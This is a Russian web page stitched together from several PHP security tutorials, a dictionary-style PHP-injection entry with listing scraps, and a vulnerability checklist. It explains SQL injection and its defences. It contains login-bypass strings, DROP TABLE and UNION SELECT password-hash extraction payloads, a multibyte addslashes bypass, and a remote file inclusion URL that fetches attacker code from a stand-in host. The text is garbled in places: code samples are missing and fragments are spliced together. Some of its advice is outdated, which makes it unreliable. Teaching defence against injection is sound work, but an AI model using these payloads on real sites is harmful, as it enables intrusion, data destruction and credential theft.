Боримся с SQL-инъекцией с помощью PHP. SQL-инъекции Боримся с SQL-инъекцией с помощью PHP

Мы желаем вам успехов в его прохождении. Итоги вашего прохождения будут опубликованы позже (следите за новостями в соц. сетях), а также всем прошедшим в дальнейшем будет выслан инвайт для регистрации на сайте.

Ставьте лайки, делитесь с друзьями и коллегами, репостите в соц.сетях.

Все программисты читали или по крайней мере слышали о методах взлома безопасности веб-сайта. Или даже столкнулись с этой проблемой. С другой стороны, бесконечна фантазия тех, кто хочет сломать сайт, поэтому все узкие места должны быть хорошо защищены. Вот почему я хотел бы начать серию коротких статей, где будут представлены основные методы и приемы взлома веб-сайтов.

В первой статье я хотел бы описать и разъяснить некоторые общие методы взлома одного из самых уязвимых частей сайта — форм. Я буду подробно останавливаться на том, как использовать эти методы и как предотвратить атаки, а также расскажу о тестировании безопасности.

SQL инъекции

SQl-инъекция — это такая техника, когда злоумышленник вводит команды SQL в input поле на веб-странице. Этим imput`ом может быть что угодно — текстовое поле в форме, параметры _GET и _POST, cookies и т. д. Этот метод был весьма эффективным до появления фреймворков в мире PHP. Но этот способ взлома может быть по-прежнему опасен, если вы не используете ORM или какие-либо еще расширения для data object. Почему? Из-за способа передачи параметров в SQL запрос.

"Слепые" инъекции

Давайте начнем с классического примера SQL-statement`а, возвращающего пользователя по его логину и хешу от пароля (страница входа)

Пример 1

mysql_query ("SELECT id, login FROM users WHERE login = ? and password = hash(?)");

Я подставил вопросительные знаки в выражение из-за различных вариаций этого решения. Первый вариант, на мой взгляд, самый уязвимый:

Пример 1а

Mysql_query("SELECT id, login FROM users WHERE login = "" . $login . "" and password = hash("" . $password . "")");

В этом случае в коде нет проверки на ввод неправильных данных. Значения передаются прямо из формы ввода в SQL запрос. В самом лучшем случае пользователь введет здесь свои логин и пароль. Что случится в худшем случае? Давайте попробуем хакнуть эту форму. Это можно сделать, передав "подготовленные" данные. Попытаемся войти как первый пользователь из базы данных, а в большинстве случаев — это админский аккаунт. Для этого, передадим специальную строку вместо ввода логина:

" OR 1=1; --

Первая кавычка может быть и одинарной, поэтому одной попыткой взлома можно не обойтись. В конце стоят точка с запятой и два дефиса, чтобы всё, что идёт после превратилось в комментарий. В результате будет выполнен следующий SQL запрос:

SELECT id, login FROM users WHERE login = “;” OR 1=1 LIMIT 0,1; - and password = hash(“;Some password”)

Он вернет первого пользователя из базы данных и, возможно, залогинится под ним в приложении. Хорошим ходом будет добавить LIMIT, чтобы входить под каждым отдельным пользователем. Это единственное, что нужно, чтобы пройти по каждому значению.

Более серьезные способы

В предыдущем примере всё не так уж страшно. Возможности в админской панели управления всегда имеют ограничения и потребуется реально много работы, чтобы поломать сайт. А вот атака через SQL инъекции может привести к куда большим повреждениям системы. Задумайтесь, сколько приложений создаются с главной таблицей "users" , и что будет, если злоумышленник введет такой код в незащищённую форму:

My favorite login"; DROP TABLE users; --

Таблица "users" будет удалена. Это одна из причин почаще делать бэкапы баз данных.

_GET параметры

Все параметры, заполненные через форму, передаются на сервер одним из двух методов — GET или POST. Наиболее распространенный параметр, передаваемый через GET — id. Это одно из самых уязвимых мест для атак, при этом неважно, какого вида урл вы используете — ` http://example.com/users/?id=1 `, или ` http://example.com/users/1 `, или ` http://......./.../post /35 `.

Что произойдет, если мы подставим в урл следующий код?

Http://example.com/users/?id=1 AND 1=0 UNION SELECT 1,concat(login,password), 3,4,5,6 FROM users WHERE id =1; --

Вероятно, такой запрос вернет нам логин пользователя и... хеш от его пароля. Первая часть запроса `AND 1=0` превращает то, что перед ним в false, соответственно никаких записей не будет получено. А вторая часть запроса вернет данные в виде prepared data. А так как первым параметром идет id, следующим будет логин пользователя и хеш его пароля и еще сколько-то параметров. Существует множество программ, с помощью брутфорса декодирующих такой пароль, как в примере. А так как пользователь может использовать один и тот же пароль для разных сервисов, можно получить доступ и к ним.

И вот что любопытно: от такого способа атаки совершенно невозможно защититься методами вроде `mysql_real_escape_string`, `addslashes` и.т. д. В принципе, нет способа избежать такой атаки, поэтому, если параметры будут передаваться так:

"SELECT id, login, email, param1 FROM users WHERE id = " . addslashes($_GET["id"]);"

проблемы не исчезнут.

Экранирование символов в строке

Когда я был новичком в программировании, мне было тяжело работать с кодировками. Я не понимал, в чем между ними различие, зачем использовать UTF-8, когда нужно UTF-16, почему база данных постоянно устанавливает кодировку в latin1. Когда я наконец начал всё это понимать, то обнаружил, что проблем станет меньше, если хранить всё в одном стандарте кодирования. Разбираясь со всем этим, я заметил также и проблемы безопасности, возникающие при преобразовании из одной кодировки в другую.

Проблем, описанных в большинстве предыдущих примеров, можно избежать, используя одинарные кавычки в запросах. Если вы используете addslashes() , атаки через SQL-инъекции, построенные на использовании одинарных кавычек, экранируемых обратным слэшем, потерпят неудачу. Но такая атака может пройти, если просто подставить символ с кодом 0xbf27 , addslashes() преобразует его в символ с кодом 0xbf5c27 - а это вполне валидный символ одинарной кавычки. Другими словами, `뼧` пройдет через addslashes() , а потом маппинг MySQL конвертирует его в два символа 0xbf (¿) и 0x27 (‘).

"SELECT * FROM users WHERE login = ""; . addslashes($_GET["login"]) . ";"";

Этот пример можно хакнуть, передав 뼧 or 1=1; -- в поле логина в форме. Движок SQL сгенерит конечный запрос так:

SELECT * FROM users WHERE login = "¿" OR 1=1; --

И вернет первого пользователя из БД.

Защита

Как же защитить приложение? Есть куча способов, применение которых не сделает приложение совсем неуязвимым, но хотя бы повысит его защищенность.

Использование mysql_real_escape_string

Функция addslashes() ненадежна, так как не предусматривает многие случаи взлома. У mysql_real_escape_string нет таких проблем

Использование MySQLi

Это расширение для MySQL умеет работать со связанными параметрами:

$stmt = $db->prepare("update uets set parameter = ? where id = ?"); $stmt->bind_param("si", $name, $id); $stmt->execute();

Использование PDO

Длинный способ подстановки параметров:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)"); $stmt->bindParam(":name", $name); $stmt->bindParam(":value", $value); // insert one row $name = "one"; $value = 1; $stmt->execute();

Короткий способ:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("UPDATE people SET name = :new_name WHERE id = :id"); $stmt->execute(array("new_name" => $name, "id" => $id));

Использование ORM

Используйте ORM и PDO и связывайте (используйте bind) параметры. Избегайте SQL в коде, если вы видите в коде SQL, значит, с ним что-то не так.

ORM позаботится о безопасности в самых узких местах в коде и о валидации параметров.

Выводы

Цель этой серии не предоставить полное руководство по взлому сайтов, а обеспечить безопасность приложения и предотвращение атак из любого источника. Я постарался написать эту статью не только для программистов — они должны быть в курсе любых угроз в коде и знать пути, как предотвратить их, но также и для инженеров по качеству — потому, что их работа заключается в том, чтобы отследить и сообщить такие моменты.

Хотя по-прежнему очевидно, что взломщик должен обладать по крайней мере некоторыми знаниями о структуре базы данных чтобы провести успешную атаку, получить эту информацию зачастую очень просто. Например, если база данных является частью open-source или другого публично доступного программного пакета с инсталляцией по умолчанию, эта информация является полностью открытой и доступной. Эти данные также могут быть получены из закрытого проекта, даже если он закодирован, усложнен, или скомпилирован, и даже из вашего личного кода через отображение сообщений об ошибках. К другим методам относится использование распространенных (легко угадываемых) названий таблиц и столбцов. Например, форма логина, которая использует таблицу "users" c названиями столбцов "id", "username" и "password".

Большинство успешных атак основывается на коде, написанном без учета соответствующих требований безопасности. Не доверяйте никаким вводимым данным, особенно если они поступают со стороны клиента, даже если это списки в форме, скрытые поля или куки. Первый приведенный пример показывают, как подобные запросы могут привести к катастрофе.

  • Никогда не соединяйтесь с базой данных, используя учетную запись владельца базы данных или суперпользователя. Всегда старайтесь использовать специально созданных пользователей с максимально ограниченными правами.
  • используйте подготовленные выражения с привязанными переменными. Эта возможность предоставляется расширениями PDO , MySQLi и другими библиотеками.
  • Всегда проверяйте введенные данные на соответствие ожидаемому типу. В PHP есть множество функций для проверки данных: начиная от простейших функций для работы с переменными и функций определения типа символов (таких как is_numeric() и ctype_digit() соответственно) и заканчивая Perl-совместимыми регулярными выражениями .
  • В случае, если приложение ожидает цифровой ввод, примените функцию ctype_digit() для проверки введенных данных, или принудительно укажите их тип при помощи settype() , или просто используйте числовое представление при помощи функции sprintf() .

    Пример #5 Более безопасная реализация постраничной навигации

    settype ($offset , "integer" );
    $query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset ;" ;

    // обратите внимание на формат %d, использование %s было бы бессмысленно
    $query = sprintf ("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;" ,
    $offset );

    ?>

  • Если на уровне базы данных не поддерживаются привязанные переменные, то всегда экранируйте любые нечисловые данные, используемый в запросах к БД при помощи специальных экранирующих функций, специфичных для используемой вами базы данных (например, mysql_real_escape_string() , sqlite_escape_string() и т.д.). Общие функции такие как addslashes() полезны только в определенных случаях (например MySQL в однобайтной кодировке с отключенным NO_BACKSLASH_ESCAPES), поэтому лучше избегать их использование.
  • Ни в коем случае не выводите никакой информации о БД, особенно о ее структуре. Также ознакомьтесь с соответствующими разделами документации: "Сообщения об ошибках " и "Функции обработки и логирования ошибок ".
  • Вы можете использовать хранимые процедуры и заранее определенные курсоры для абстрагированной работы с данными, не предоставляя пользователям прямого доступа к данным и представлениям, но это решение имеет свои особенности.

Помимо всего вышесказанного, вы можете логировать запросы в вашем скрипте либо на уровне базы данных, если она это поддерживает. Очевидно, что логирование не может предотвратить нанесение ущерба, но может помочь при трассировке взломанного приложения. Лог-файл полезен не сам по себе, а информацией, которая в нем содержится. Причем, в большинстве случаев полезно логировать все возможные детали.

new player 27 января 2011 в 11:37

Боримся с SQL-инъекцией с помощью PHP

  • Чулан *

SQL-инъекция это наиболее опасный тип атаки, ведь именно она стоит за бесчисленным количеством случаев взлома переживших корпоративные сайты и порталы, и просто личные домашние страницы. Действительности защитить свой проект довольно легко - для этого нужно прежде всего понять в чем суть этой проблемы и внести в код некоторые изменения для защиты.

Что такое SQL-инъекция

SQL-инъекцией называют действия, которые нужно осуществить, чтобы выполнить свой собственный запрос к базе данных, без вашего ведома. Чаще всего это происходит когда вы предлагаете пользователю отправить какую-то информацию на сервер, но вместо желаемой информации злоумышленник отсылает свой запрос, который, по неосторожности, выполняется сервером. С помощью такого запроса злоумышленник может не только получить запрещенную информацию из базы данных, но и, при определенных условиях, внести в нее изменения, а также выполнить системные команды.

Примеры SQL-инъекций

Отправить свой запрос злоумышленник может не только вписав его в поле для ввода информации (используя $_POST), он может также подставить свои $_GET переменные в адресную строку, или вручную изменить свои $_COOKIE. Поэтому следует проявлять осмотрительность при работе с этими глобальными массивами данных.

Если у вас на странице есть форма для ввода определенной информации, злоумышленник может использовать ее поля для своих целей. Вместо ожидаемых строк (имя, пароль и т.д.) он введет в такое поле свой собственный запрос.

Большинство таких SQL-инъекций выглядят следующим образом:

Asd" or 1=1--

Скажем, мы имеем форму для авторизации пользователей. Если мы введем такой код в поле логина, мы сможем использовать нашу SQL-инъекцию для получения доступа даже без надлежащих проверок. Как это работает? Рассмотрим какой все же запрос мы получим в результате наших действий:

SELECT * FROM users WHERE username = "asd" or 1=1--" and password = "asd"

Итак как видно из примера, наш код будет успешно выполнен. А так как выражение 1=1 будет всегда возвращать true, мы гарантированно получим доступ.

Вас скорее всего заинтересует, для чего нам двойной дефис (--). Этот двойной прочерк в конце строки сообщает SQL серверу, что ему следует проигнорировать остальные запросы. Если же вы хотите написать инъекцию не для SQL сервера, то в таком случае, вам пригодится замена двойного дефиса на одинарный апостроф.

Обратите внимание, приведенный выше пример - это просто наиболее стандартный вариант, но далеко не единственный. Их количество просто поражает, и все зависит от того как работает голова злоумышленника.

Примеры еще некоторых наиболее распространенных инъекций:

") or ("1"="1
"or "1"="1
" or "1"="1
Or 1=1--
" or 1=1--
" or 1=1--

Также довольно часто злоумышленники используют адресную строку (URL) для своих атак. Этот метод также как и предыдущий, не менее опасен. Когда на сервере используется PHP и MySQL (на данный момент, самая популярная комбинация), адрес к скрипту как правило выглядит примерно следующим образом:

Http://somesite.com/login_script.php?id=1

Добавляя к такой строке немножко SQL-а можно делать страшные вещи:

Http://somesite.com/login_script.php?id=1‘; DROP TABLE login; #

В данном случае использован знак # вместо двойного дефиса, так как он говорит SQL серверу проигнорировать все последующие запросы, которые будут идти после нашего. И что самое опасное (если вы еще не заметили), мы только что сказали серверу изъять табличку с пользователями. Данный пример хорошо демонстрирует насколько опасными могут быть SQL-инъекции.

Что нужно сделать для защиты своих скриптов от SQL-инъекций

Мы уже знаем, что уязвимость на SQL-инъекциях возникает тогда, когда информация от пользователей попадает в запрос к базе данных, без соответствующей обработки. Итак следующим шагом идет написание безопасных скриптов.

К счастью, данная опасность известна уже достаточно давно. В PHP даже появилась специальная функция (начиная с версии 4.3.0), которая борется с этим типом атак - mysql_real_escape_string .

mysql_real_escape_string превращает строку на безопасную для употребления в запросах к базе данных, путем экранирования всех потенциально опасных символов. Как правило таким последовательным знаком является одинарный апостроф ("), который после использования этой функции будет экранирован (\").

Для того чтобы защититься от SQL-инъекции, все внешние параметры ($_GET, $_POST, $_COOKIE), следует прежде чем включить в SQL запрос, проработать с помощью mysql_real_escape_string() , а в самом запросе поместить их в одинарном апострофе. Если придерживаться этого простого правила, тогда действия злоумышленника приведут к формированию безопасных запросов, так как весь текст его SQL-инъекций теперь внутри апострофов.

Давайте рассмотрим что же в действительности выполняет сервер при такой обработке:

SQL-инъекция (строка которую злоумышленник вписал в поле «Логин» вместо своего логина):

Sql" or 1=1--

$name = mysql_real_escape_string($_POST["username"]);
$res = mysql_query("SELECT * FROM users WHERE username = "".$name."" and password = "asd"");

SELECT * FROM users WHERE username = "sql\" or 1=1--" and password = "asd"

То есть, при таком запросе, вместо опасных действий, мы стараемся выбрать данные пользователя у которого довольно странный username (sql\"or 1=1-) .

Можно пойти дальше и написать функционал который будет автоматически обрабатывать массивы $_GET, $_POST и $_COOKIE соответствующим образом, но это все зависит только от ваших пожеланий. Запомнить следует только то, нужно защитить все места где в базу данных передаются данные от пользователя.

Пример

Этот скрипт уязвим, так как к содержимому переменной $module просто прибавляется «.php» и по полученному пути подключается файл.

Взломщик может на своём сайте создать файл, содержащий PHP-код (http://hackersite.com/inc.php), и зайдя на сайт по ссылке вроде http://mysite.com/index.php?module=http://hackersite.com/inc выполнить любые PHP-команды.

Способы защиты

Существует несколько способов защиты от такой атаки:

  • Проверять, не содержит ли переменная $module посторонние символы:

  • Проверять, что $module присвоено одно из допустимых значений:

Этот способ является более эффективным, красивым и аккуратным.

PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации сервера php.ini .

Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.

См. также

Ссылки


Wikimedia Foundation . 2010 .

Смотреть что такое "PHP-инъекция" в других словарях:

    - … Википедия

    - … Википедия

    У этого термина существуют и другие значения, см. PHP (значения). PHP Семантика: мультипарадигменный … Википедия

    E mail инъекция это техника атаки, используемая для эксплуатации почтовых серверов и почтовых приложений, конструирующих IMAP/SMTP выражения из выполняемого пользователем ввода, который не проверяется должным образом. В зависимости от типа… … Википедия

    Внедрение SQL кода (англ. SQL injection) один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL, в зависимости от типа используемой СУБД и условий внедрения,… … Википедия

    Внедрение SQL кода (англ. SQL injection) один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL, в зависимости от типа используемой СУБД и условий внедрения,… … Википедия

    PHP Семантика: мультипарадигменный Тип исполнения: Интерпретатор компилирующего типа Появился в: 1995 г. Автор(ы): Расмус Лердорф Последняя версия: 4 … Википедия

    В узком смысле слова в настоящее время под словосочетанием понимается «Покушение на систему безопасности», и склоняется скорее к смыслу следующего термина Крэкерская атака. Это произошло из за искажения смысла самого слова «хакер». Хакерская… … Википедия

Одним из наиболее значимых вопросов для web-программистов является безопасность php-скриптов. Все программисты в той или иной мере используют различные методы чтобы обезопасить свой проект, но, к сожалению, в большинстве случаев используется защита от нескольких уязвимостей, при этом остальные проблемные места даже не рассматриваются.
В данной статье перечислены основные виды уязвимостей PHP и рассмотрены способы защиты от них.

Виды уязвимостей PHP

  1. Демонстрация ошибок пользователю
    Смысл: при каких-либо ошибках в коде пользователю выводиться информация об произошедшей ошибке. Не является критичной уязвимостью, но поваляет взломщику получить дополнительную информацию о структуре и работе сервера.
  2. Доступность данных о характеристиках системы пользователю
    Смысл: пользователь может получить доступ к данным, дающим представление о системе. Не является критичной уязвимостью, но поваляет взломщику получить дополнительную информацию о структуре и работе сервера. Причина этой уязвимости в ошибках и «недосмотрах» программиста. Примером может служить наличие файла phpinfo.php с одноимённой функцией в свободном доступе.
  3. Доступность данных о программном коде пользователю
    Смысл: пользователь может получить доступ к программным кодам модулей, имеющих расширение, отличное от php . Является критичной уязвимостью, так как позваляет взломщику получить достаточно полную информацию о структуре и работе сервера, выявить его уязвимости.
  4. Простые пароли для доступа к административным страницам
    Смысл: взломщик может подобрать простой пароль к административной странице, дающей ему больше возможностей для взлома. Является критичной уязвимостью, так как позваляет взломщику повлиять на работу сервера.
  5. Возможность задания глобальных переменных
    Смысл: при неправильных настройках PHP имеется возможность задавать глобальные переменные скрипта, через строку запроса. Является критичной уязвимостью, так как взломщик может влиять на ход работы скрипта в свою пользу.
  6. PHP-инъекция
    Смысл: в параметр, определяющий работу PHP с файлами или программным кодом, передаётся ссылка на сторонний программный код или сам код. Является критичной уязвимостью, так как взломщик может выполнять свои скрипты на сервере. Выполнение кода осуществляется при помощи функций: eval(), preg_replace(), require_once(), include_once(), include(), require(), create_function(), readfile(), dir(), fopen() .
  7. PHP-инъекция через загрузку файлов
    Смысл: при возможности задании глобальных переменных в параметр, определяющий загружаемый на сервер файл, передаётся ссылка на сторонний программный код или конфиденциальный файл на сервере. Является критичной уязвимостью, так как взломщик может выполнять свои скрипты на сервере или получить доступ к конфиденциальным данным. Данная уязвимость возможна только при возможности задания глобальных переменных и неверной организации механизма загрузки файлов.
  8. e-mail-инъекция
    Смысл: в параметр, определяющий работу PHP с электронными письмами, передаётся ссылка на сторонний программный код или сам код. Является критичной уязвимостью, так как взломщик может выполнять свои скрипты на сервере или получить доступ к данным, хранимым у пользователя.
  9. SQL-инъекция
    Смысл: в параметр, определяющий SQL-запрос, передаётся данные, образующее запрос для доступа к закрытым данным. Является критичной уязвимостью, так как взломщик может получить конфиденциальные данные, хранимые в базе данных. Для изменения запроса взломщик может использовать следующие конструкции: SELECT, UNION, UPDATE, INSERT, OR, AND .
  10. Межсайтовый скриптинг или XSS
    Смысл: в параметр, определяющий выводимые пользователю данные, передаётся сторонний программный код. Является критичной уязвимостью, так как взломщик может получить конфиденциальные данные, хранимые в браузере клиента. Для изменения запроса взломщик использует html-теги.

Правила написания безопасного кода на PHP

  1. Блокирование вывода ошибок
    Для этого достаточно в программном коде задать error_reporting(0) или в файле.htaccess добавить строку php_flag error_reporting 0
  2. Использование сложных паролей для доступа к административным страницам
    Для этого достаточно использовать многозначные пароли, не имеющие семантического значения (например, К7O0iV98dq).
  3. Логирование критических действий пользователя
    Не обеспечивает защиту напрямую, но позволяет выявить взломщиков и определить уязвимости, которые они использовали. Для этого действия пользователя и переданные им данные, которые касаются критических моментов работы системы, достаточно записывать в обычный текстовый файл.
    Пример функции логирования и её работы:
    function writelog($typelog, $log_text) {
    $log = fopen("logs/".$typelog.".txt","a+");
    fwrite($log, "$log_text\r\n");
    fclose($log);
    }
    writelog("authorization", date("y.m.d H:m:s")."\t".$_SERVER["REMOTE_ADDR"]."\tУспешный вход");
  4. Закрытие доступа к модулям сайта
    Обеспечивает защиту от попыток просмотра их содержимого или выполнения. Для этого достаточно в файле.htaccess настроить доступ к файлам модулей при помощи конструкций FilesMatch и Files .
    Например, мы закрываем доступ ко всем модулям с расширением php , кроме файла capcha.php :
  5. Отключение возможности задания глобальных переменных
    Для этого достаточно в настройках сервера задать register_globals = off; или в файле.htaccess добавить строку php_flag register_globals off . Использование ini_set("register_globals",0); проблему не решит так, как переменные задаются до начала выполнения скрипта.
  6. Отключение возможности использования удаленных файлов
    Для этого достаточно в настройках сервера задать allow_url_fopen = off; . Это обеспечивает частичную защиту от PHP-инъекций, но не полную, так как взломщик может передавать не ссылку на файл с программным кодом, а сам программный код. Для полной защиты от PHP-инъекций необходимо дополнительно использовать фильтрацию поступивших данных. Иногда данную меру защиты невозможно использовать из-за особенностей работы проекта (нужно обращаться к удалённым файлам).
  7. Фильтрация поступающих данных
    Обеспечивает защиту от большенства уязвимостей. Универсального решения не существует. Желательно использовать проверку по «белому» списку символов в совокупности с проверкой на запрещённые слова. «Белым» называется список разрешенных символов. В этот список не должны входить опасные символы, например, . К запрещённым словам можно отнести: script, http, SELECT, UNION, UPDATE, exe, exec, INSERT, tmp , а также html-теги.
    Пример фильтрации поступающих данных:
    // Проверка по белому списку. Допускаются только русские и латинские буквы, цифры и знаки _-
    if (preg_match("/[^(\w)|(А-Яа-я-)|(\s)]/",$text)) {
    $text = "";
    }
    // Фильтрация опасных слов
    if (preg_match("/script|http|||SELECT|UNION|UPDATE|exe|exec|INSERT|tmp/i",$text)) {
    $text = "";
    }
  8. Проверка на загрузку файла при помощи HTTP POST
    Обеспечивает защиту от PHP-инъекций через загрузку файлов. Для обеспечения этого загруженные на сервер файлы необходимо проверять функцией is_uploaded_file() или перемещать функцией move_uploaded_file() . Данный вид защиты можно не использовать, если отключена возможность задания глобальных переменных.
  9. Экранирование символов кавычек данных, передаваемых в базу данных
    Обеспечивает защиту от SQL-инъекций. Наиболее оптимальным методом является обработка всех поступивших не числовых данных с помощью функции mysql_real_escape_string() . Можно так же использовать автоматическое экранирование, поступающих данных. Для этого достаточно в файле.htaccess добавить строку php_value magic_quotes_gpc on , но этот способ не является надёжным, так как может привести к двойному экранированию.
    Пример экранирования кавычек с помощью функции mysql_real_escape_string() :
    if (!is_numeric($text)) {
    $textrequest = mysql_real_escape_string($text);
    }
  10. Преобразование специальных символов в html-сущности перед выводом
    Обеспечивает защиту от XSS. Для этого данные, введенные пользователем, которые могут содержать нежелательные html-тэги, при выводе достаточно обработать функцией htmlspecialchars() . Данный вид защиты можно не использовать, если фильтрация поступающих данных отсеивает опасные html-тэги.

Как видите создание продуманной системы безопасности скриптов не такое трудоёмкое дело как кажется.
Данная статья не претендует на роль учебника по безопасности скриптов, но Я надеюсь, что она подтолкнёт php-программистов использовать более продуманные методы защиты.